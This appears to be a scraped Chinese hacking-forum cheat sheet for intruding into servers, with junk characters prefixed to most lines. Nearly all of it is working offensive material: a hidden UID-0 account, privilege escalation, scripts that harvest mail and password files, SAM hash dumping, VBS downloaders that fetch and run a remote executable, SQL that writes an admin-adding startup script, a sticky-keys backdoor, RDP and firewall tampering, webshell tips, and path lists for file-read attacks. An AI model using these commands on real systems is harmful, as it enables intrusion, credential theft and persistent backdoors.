6 P8 T2 l8 r$ f: n* tindex.php?option=com_user&view=reset&layout=confirm

# E' A" @- W1 u) X4 A七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

7 Q) P2 p; K. z5 @4 A7 A) ~& U八.freebsd本地提权
; D$ ]- ^! J- O[argp@julius ~]$ uname -rsi
/ n6 @  c, U' f$ L. O* freebsd 7.3-RELEASE GENERIC
" _1 N! E9 s4 c) `* [argp@julius ~]$ sysctl vfs.usermount
3 D0 g# B7 y; l( _0 h  ^$ e* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
3 o4 g" g" Z$ c; ~; C) z
, J2 I5 J+ d& g（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
. D' J6 a8 V9 C+ S——————————————
. T: E/ H; W- U! M' }% B感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
* j% y% V/ z1 |" J————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
1 o; r5 Q  H: \" nalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
6 B8 J# |; e* r注：
4 O& H$ F) I" S& ^关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
+ F1 f5 w. W* y7 e+ y. \7 X}  
( E9 q4 {1 _& j
提权先执行systeminfo
token 漏洞补丁号 KB956572
7 ?9 a3 _& x  HChurrasco          kb952004
命令行RAR打包~~·
6 v3 P. V2 I5 a. a8 `' k& p+ Drar a -k -r -s -m3 c:\1.rar c:\folder
# L; c4 k# d6 a6 N4 X0 g——————————————
2、收集系统信息的脚本  
* O; r- j. n% p0 Ufor window：
$ q$ X8 E9 k, m+ Q. x3 ?3 k* ^& o
@echo off
% P! x2 L3 C) E8 g  }1 w4 Oecho #########system info collection
- [2 \+ k$ {3 Dsysteminfo
ver
3 i5 Y  O. E5 P0 O8 Y/ q1 G4 lhostname
0 d* w5 a0 r6 snet user
( j0 T1 W; L" Y% W) O! W% m7 d  Pnet localgroup
net localgroup administrators
net user guest
& B+ O5 ^, Z" M, dnet user administrator
+ `: d  z) o% g: I
echo #######at- with   atq#####
6 }1 j* o* X& R1 D! Techo schtask /query

echo
" K( L+ ]5 ^7 q* Gecho ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
+ C  S, B  H: Wipconfig/all
# y$ x' H8 r1 C6 y  U8 z* Hroute print
6 l$ m5 d4 T+ Z- K0 t! sarp -a
netstat -anipconfig /displaydns
* S9 G3 R2 n$ Z9 h1 ^2 a. z. d/ necho
5 q/ w( [7 j/ \echo #######service############
2 L2 V" k8 P# vsc query type= service state= all
0 Y) j0 o' g% vecho #######file-##############
: ?9 [9 }/ ~; H8 L( B! tcd \
tree -F
$ f. M7 H# ]. j' M' yfor linux：
$ _& e: f6 ]5 N5 p+ ?0 v
$ x. g8 c+ l" `; J6 v9 z#!/bin/bash

/ q3 a6 N3 L  Gecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
5 n) `6 V- F3 ^echo #######basic infomation##
( E- v6 W) q4 z# Mcat /proc/meminfo
" N( E$ y; T/ Y1 vecho
% ~# d: t4 ^) X' T  Y+ n- xcat /proc/cpuinfo
! z+ O' h- s3 k0 v9 Oecho
rpm -qa 2>/dev/null
* v5 h; B2 v; ^3 {+ S######stole the mail......######
4 k9 G  D1 m/ Q. Y: vcp -a /var/mail /tmp/getmail 2>/dev/null

% O) n' t" {/ V7 R0 m
& K: K* z2 P9 w( K8 ?5 pecho 'u'r id is' `id`
6 Q% h. r6 g: q% pecho ###atq&crontab#####
. V, k  W5 u: i  l8 x5 p3 Z: _3 F% tatq
$ l* Z5 y+ @( f# c8 B; J- b1 [, zcrontab -l
: s1 R8 I0 e. n# Zecho #####about var#####
set
  _; _1 L0 e6 g8 c$ Y4 q
  U* n' [. p) a% K$ ~  t# Mecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
7 Z: p0 \6 E0 h# _# Fcat /etc/hosts
hostname
2 w3 B4 b: @# c( D4 ~ipconfig -a
( g" E6 N' S, K! Y( W$ v9 @$ garp -v
" `# I* A9 b& U6 V, |0 q9 }# f) x; qecho ########user####
cat /etc/passwd|grep -i sh

echo ######service####
' Z8 f" ^3 S# h5 w) |! p. Xchkconfig --list
7 |$ Y! v! e% q* T2 v& v2 D. Q
  u: |6 e) B- M; h, T+ Zfor i in {oracle,mysql,tomcat,samba,apache,ftp}
1 G& f9 P. G& P3 P5 c5 O  F& kcat /etc/passwd|grep -i $i
done
4 `9 \2 e! t' Y) T
3 W9 Q/ O  n- F) Olocate passwd >/tmp/password 2>/dev/null
$ A5 I* h- C) ?sleep 5
  s6 d, M$ t" a# H  S- dlocate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
7 i0 f' o8 L: I8 ~4 @3 blocate config >>/tmp/sysconfig 2>/dev/null
* j7 I8 h. Q% ~; t, lsleep 5
! V& F' S: F3 e; }$ U+ Z) Q% ?
( Y+ E0 v2 U" D6 l0 W' _###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
6 a& A3 B1 f) F; w! g1 N7 {rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
, \. H3 k; {5 R+ _% v  A/ n. L——————————————
' Z+ k0 C, p. J$ D% M( I5 }3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
8 n8 g8 d9 f8 c注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
: {  x/ P' ^* y4 B& K: n7 W6 @接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1 h$ M: j. O4 v6 S* Z  N1
$ L# D3 [* }2 b3 X) }9 P; Eecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
+ X4 O, f1 C( z3 Oecho sGet.Open() >>c:\windows\cftmon.vbs
" u* X5 }% a* O' m4 Uecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
8 }: M4 M3 P2 g5 w3 [echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
0 }+ p- W/ h, ?8 L+ Q/ O. becho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
( N4 V; w# s: V% c4 A% R0 Zecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
, x/ K. R! f2 K8 Rcftmon.vbs

2
9 h: f. U2 R6 yOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
) e- A) i: q; YSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
; n4 g' O7 |# L1 |" V% a7 u# mSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
: Q. v) {$ I1 h  v# m' R% U8 ?sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
) u  k) ~& }2 ?) C" T5 y8 M# }
0 w( t. \- O2 V% G9 Scscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
% P  V2 [3 M3 ?1 i- y1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
3 {3 D2 P* m* ]  P6 z& S4 V/ v0 H1 h2.开启XP&2003终端服务
! l4 y3 a4 x2 I5 D/ PREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
0 s$ ?: G$ @: z+ T9 X/ i/ [3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
+ f$ x! ]( W) |5 S9 zREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
. Z# y) U( C2 _; J$ @3 @4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
4 A2 B7 a2 g) t/ E. mREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
. t0 m$ g6 L" @6 \insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
4 D/ X: H% N$ C3 y; G" R/ E; Q& ^7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

$ l+ P8 ~/ d+ s7 J& @列出d的所有目录
  
. `8 J8 w$ }6 N% k$ w* `  for /d %i in (???) do @echo %i
) g! y" ^. T5 j
2 R" C& ]8 ?  {' {8 l1 D! ~2 X把当前路径下文件夹的名字只有1-3个字母的打出来
/ b$ t4 x: R% r0 P0 U
2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
$ W) T. a! Q+ C7 J4 _, J- y2 j
' s5 l2 r. T) m: h: I9 v; O3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
, Y) B1 o2 g( @6 a& O, L
2 J. v9 Z$ j) X4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
+ L2 T1 v2 G% a, k9 C7 R——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
" G" ~& M5 O( N
3.清除3389登录记录:
7 n7 J3 T) X* C" G* k: {reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
' R( \! N! V) [9 u. `8 freg export HKLM\SYSTEM\RAdmin c:\a.reg

5 J4 n. {4 z+ x% B+ {7 A, ~, c) D5 q5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
, I2 l# {, h/ m0 M( T+ o
% a7 j* h: J6 y1 Z6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
0 D: \2 ~8 k$ Z3 Q! p! I0 O2 enetsh ipsec dynamic set config ipsecexempt value=0
8 Z* j& w) a% x8 j
1 _$ a% ]# i6 I# F7.停止指派策略"myipsec":
& }% b1 d/ B. k0 e+ ]+ D# [netsh ipsec static set policy name="myipsec" assign=n
( _8 U( e# R, t" o7 X$ e/ [
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
4 D9 w: J0 s6 u3 h6 T. Z4 M, X
5 w( p4 y1 G5 V: E' e4 W- s9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
8 R5 d; {  X8 `* f0 N8 S% Z( Zreg save hklm\system c:\system.hive
0 f% Y5 p8 ]! \1 S/ Qreg save hklm\security c:\security.hive

# r' s8 X3 `! L9 i, \10.shift映像劫持
* i, Q9 x. L  q; z6 p, Wreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
; S8 }/ L7 i- W
9 g* Y* S* R, Qreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
1 |, S* t" J" g. l9 ?6 m-----------------------------------
: x. S3 U( y/ C+ X5 S/ N3 W* v星外vbs(注：测试通过，好东西）
+ o' |; B- U' [Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
! u/ k9 l  A. Q4 E# ychildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
0 d$ C& @! C1 m3 o* v6 fset IIs=objservice.GetObject("IIsWebServer",childObjectName)
9 [, j- e* _/ m: X: r: B, sif err.number<>0 then
exit for
/ n. M$ v! u! X  {7 {# X: M3 f) B9 Pmsgbox("error!")
, n$ f; P2 O3 a$ s% @: M, H& }( Kwscript.quit
end if
; e, W. }. {4 o9 j4 g/ lserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
7 Q" l1 G! d! _0 k2 iuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
$ E/ _% C1 n# F) w2 w* I9 X6 }" ^list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
% g: @+ }9 Q1 y% w, S4 s----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
0 X. @3 |; `8 A: ^2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
8 M4 u8 h* E. t/ s<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
$ w- Q9 q; V! E- m, `8 @+ ?' A! V+ X复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
2 d2 ?$ E- v0 |3 o: E- sasp代码，利用的时候会出现登录问题
4 f" L2 t/ h) A" c8 P5 V 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
& h; a, d! I2 ~) o0 k7 P# p* v 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
# n2 z: v1 p8 }& U; O5 J 解决方法
8 a! t5 K1 M3 D! O  T# ]4 j url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
- ~5 \4 _5 I, @
==============================================================
LINUX常见路径：
* y0 V0 _  B! E! @- P- a
/etc/passwd
. l: \4 g' i; U. L5 f/etc/shadow
" D  p! Z7 g# H/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
0 X( b1 G0 S" S* ^/var/www/htdocs/index.php
  b: U$ y; h! O# N& x( L/var/www/conf/httpd.conf
, i. Q* W! u/ a8 r9 |/var/www/htdocs/index.html
, d3 e/ |  {* t  G/ _2 _/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
8 P; G' \7 W0 I& J$ h2 V7 Z/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/ i  D) f) d4 T2 I; A+ ~/var/httpd/conf/php.ini
5 @9 v9 W% M! p/ E/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/ z, N5 m& ~& t# i6 H% K. K/opt/www/htdocs/index.html
; h9 s' \1 u7 z: V6 y/usr/local/apache/htdocs/index.html
' i' \' C. T, [  o" b! m; D2 J/usr/local/apache/htdocs/index.php
, a9 q1 H7 p( N' n) O2 S/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
" R  m7 d) q* s: {4 a. f/usr/local/httpd2.2/htdocs/index.php
. a$ m2 S# {6 O5 S4 ^8 y/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
3 Q2 k$ q" |5 _/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
3 m: @4 N8 G- P5 d+ K- x6 @- I6 g/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
: G  s" L+ A  a: f0 k, D/www/php5/php.ini
" f/ y& Z2 |, r6 h( Y/www/conf/httpd.conf
/www/htdocs/index.php
; Z; n/ V* ]* y/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
( |9 \, {+ C' c* ]- l/apache/apache2/conf/httpd.conf
5 T/ K, d/ S3 ~- M  O4 F/etc/apache/apache.conf
/etc/apache2/apache.conf
! D; e3 B. l. j3 C/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
+ D" t) k: V; v2 X/etc/apache2/sites-available/default
+ ~% X! d1 ^8 ]9 X7 g* Z/etc/phpmyadmin/config.inc.php
4 E  i4 J6 p3 ~- e/ N8 q/etc/mysql/my.cnf
! K* @- @+ c, Z; Z. o+ \; D/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
) v$ P8 N1 k! d  ]/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/ {9 p# G3 @$ A3 h& f/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
  ]( `9 p  {+ \. c8 I6 Z/var/log/apache/access_log
/var/log/apache/access.log
% W) _" `5 _& a( R/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
. i# O$ V' u2 d( H- F; U/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
$ s0 n% n6 D" I/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
7 Q% f" M, T+ R) a/var/log/error.log
. J7 o; c  P! A! s9 k: [+ O! y/var/log/access_log
/var/log/access.log
3 Q' C' `; L4 |( r( O$ v" h/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
+ ~0 W1 D2 C9 U* \, w; ?  H/etc/php.ini
0 H) r. U, `8 t/bin/php.ini
: p  l# L" ^% W/etc/init.d/httpd
7 ~) e* D8 w6 F. b) s& D* z/etc/init.d/mysql
) h( C6 D0 [" l/etc/httpd/php.ini
) P0 D" ]3 m/ N/usr/lib/php.ini
5 q/ t: _) B+ J) Q* ?4 N; t/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
' _+ G6 Y) N2 y) y2 D1 V/ U# x/usr/local/php/lib/php.ini
2 H' v. Y7 a+ a. Q$ g) `" K/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
+ a7 M5 }- ?( }7 S4 E6 G+ T/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
' Q, X2 |  z/ _: Q7 i- M/usr/local/apache/conf/php.ini
8 P, P3 U$ B% v7 \# F6 D" ]+ ^& a/usr/local/apache/conf/httpd.conf
0 c6 v) N' {* F: l8 L7 g1 |/usr/local/apache2/conf/httpd.conf
2 l5 e* V" [, q" c/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
  S' [2 T8 K- i' q4 T/etc/php4/apache/php.ini
3 W, S. k% h0 g- m/etc/php4/apache2/php.ini
/ y& A* `; Z0 L! F% B/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
' Q' L4 g2 J& v' z  H1 i8 t# e/etc/php/php.ini
8 N1 b/ b- f' u' d8 m/etc/php/php4/php.ini
/etc/php/apache/php.ini
8 h4 Q6 |& ~: N8 K* p$ b. X2 ~/etc/php/apache2/php.ini
& M" z$ O7 M, M5 E3 d/web/conf/php.ini
4 a$ _: ^9 b4 X4 r' T% \/usr/local/Zend/etc/php.ini
2 Y2 Z' ?/ b& c% e% n, v. N/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
! g0 e( X0 ?+ z1 T+ ?0 O6 G/etc/php4/cgi/php.ini
1 s- {9 ^4 s  N/etc/php5/cgi/php.ini
- U2 y6 ?4 @! p5 T. x% @7 w/php5/php.ini
/php4/php.ini
) f5 I: n6 P' C4 D( ^$ F1 b/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/ r7 s' X) F% ]$ _  E, ]+ @* f/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
' ]6 }- E1 t9 h- T0 ~/home2/bin/stable/apache/php.ini
& r7 u  R+ X- Q- d/ V$ d6 ~/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
3 ?4 W, {4 `; l& [& j+ U0 {; C/var/log/mysql.log
! E& P( S/ K3 K/var/log/mysqlderror.log
/var/log/mysql/mysql.log
' y$ o! E" w7 z- K0 Y3 v( N7 g: L: Y" Z/var/log/mysql/mysql-slow.log
# z# n; v2 l3 A) ?: |/ N5 G, P/var/mysql.log
9 A! o) f; ]" d% e2 f8 F( V" n/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
7 _' _0 e: v1 E& w9 W! q+ M$ g/usr/local/mysql/bin/mysql
" H. C/ B: F% P7 t7 K  B/ i/etc/mysql/my.cnf
$ }6 u5 W4 r/ X2 O# a# f- {7 F/etc/my.cnf
6 b) [7 A& Z% E% K/ ]+ Y/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
7 D! G+ M3 O+ y( A- Y9 N/usr/local/cpanel/logs/error_log
. M, `% n0 G% X# M$ C* G6 [/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/ u; I: s) e9 `5 v/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
" A* |$ W  c1 \9 {' p8 o
c:\windows\php.ini
+ S' W; N$ d4 F/ X" M" x, {c:\boot.ini
c:\1.txt
c:\a.txt

c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
1 O1 ~: }7 U6 K$ D5 F- P5 i' rc:\program files\CMailServer\WebMail\index.asp
3 W6 `) i0 m( Z# Q7 dC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
- J/ s4 h1 b  J! u9 Y3 C0 UC:\WINDOWS\FreeHost32.dll
( w$ }  a. }' y$ u" g' y# x. r) YC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

5 _/ {. s% _1 \4 H. R* yc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

; Z( e2 ]6 a& g# c' }- Y: B) F/ JC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
& i9 ]9 w9 i+ h, ~C:\WINDOWS\web.config
) \, t0 w  K! ~, ^1 vc:\web\index.html
( O" p$ [+ M$ ~5 t5 N/ B4 U8 F3 xc:\www\index.html
4 V! L. b6 i+ _3 Ac:\WWWROOT\index.html
c:\website\index.html
& _, J8 O6 m2 A( }c:\web\index.asp
4 J5 G' _" F# j* Z* m+ P1 B2 _c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
/ K2 q& \; p0 \# j# zc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
0 p  K5 U) c6 a) x3 [% nc:\www\default.asp
c:\wwwsite\default.asp
& i8 S2 d4 o- F; y5 D- }" Lc:\WWWROOT\default.asp
5 a% A" z) v% q: a# o8 Tc:\web\default.php
( Q, d  Z" m! {% x9 P0 j3 r3 pc:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
" ]; {" P0 w' i+ v( ]/ _1 Uc:\windows\notepad.exe
9 R) O' w% n. I' j3 Kc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
+ U  g4 [- [) a: j7 Q: {C:\Program Files\winrar\rar.exe
2 z# v, q  U! OC:\Program Files\360\360Safe\360safe.exe
& c7 B' ?% L: P9 [C:\Program Files\360Safe\360safe.exe
6 [- l1 j3 K; [9 c2 a+ }5 JC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
9 B% w0 p& U  D$ Hc:\rising.ini
+ v5 W& v9 g  w* R" E1 `1 sC:\Program Files\Rising\Rav\RsTask.xml
) p+ e. b' q* c1 E1 {C:\Documents and Settings\All Users\Start Menu\desktop.ini
9 |0 w# P& t! k$ E; \2 YC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
3 n) F+ _  X1 a8 F$ k+ T. j8 }C:\Documents and Settings\Administrator\My Documents\1.txt
/ L# f! F5 |+ jC:\Documents and Settings\Administrator\桌面\1.txt
7 w9 X. b3 ~# V5 N( e; a% jC:\Documents and Settings\Administrator\My Documents\a.txt
( O& a2 v" i0 d3 w" I, ?C:\Documents and Settings\Administrator\桌面\a.txt
7 e; n) M0 _& |8 r9 ?% PC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
) \1 L  ~' |" ~C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
5 L! U. Y) o" D* \* n( tC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
% Z" G6 P: u' }- rC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
# _5 i, ~* Y! R" rC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
/ n+ [+ k4 g, @4 ]3 pC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
( u# y8 F2 ~8 w/ j1 h4 XC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
% q5 f2 C  W( ~! ~; E8 tC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
6 c$ R: [1 T# ~3 bC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
+ }5 E% Q: D$ i, EC:\Program Files\MySQL\MySQL Server 5.0\COPYING
5 @+ z0 G+ ~) I7 y% A" Y4 rC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
# s. c" `; P& gC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
8 P: ]& s3 Y9 o' ]% W4 Oc:\MySQL\MySQL Server 4.1\bin\mysql.exe
6 W; m; M2 o- w, Vc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
2 r4 h! U4 [; B* gC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
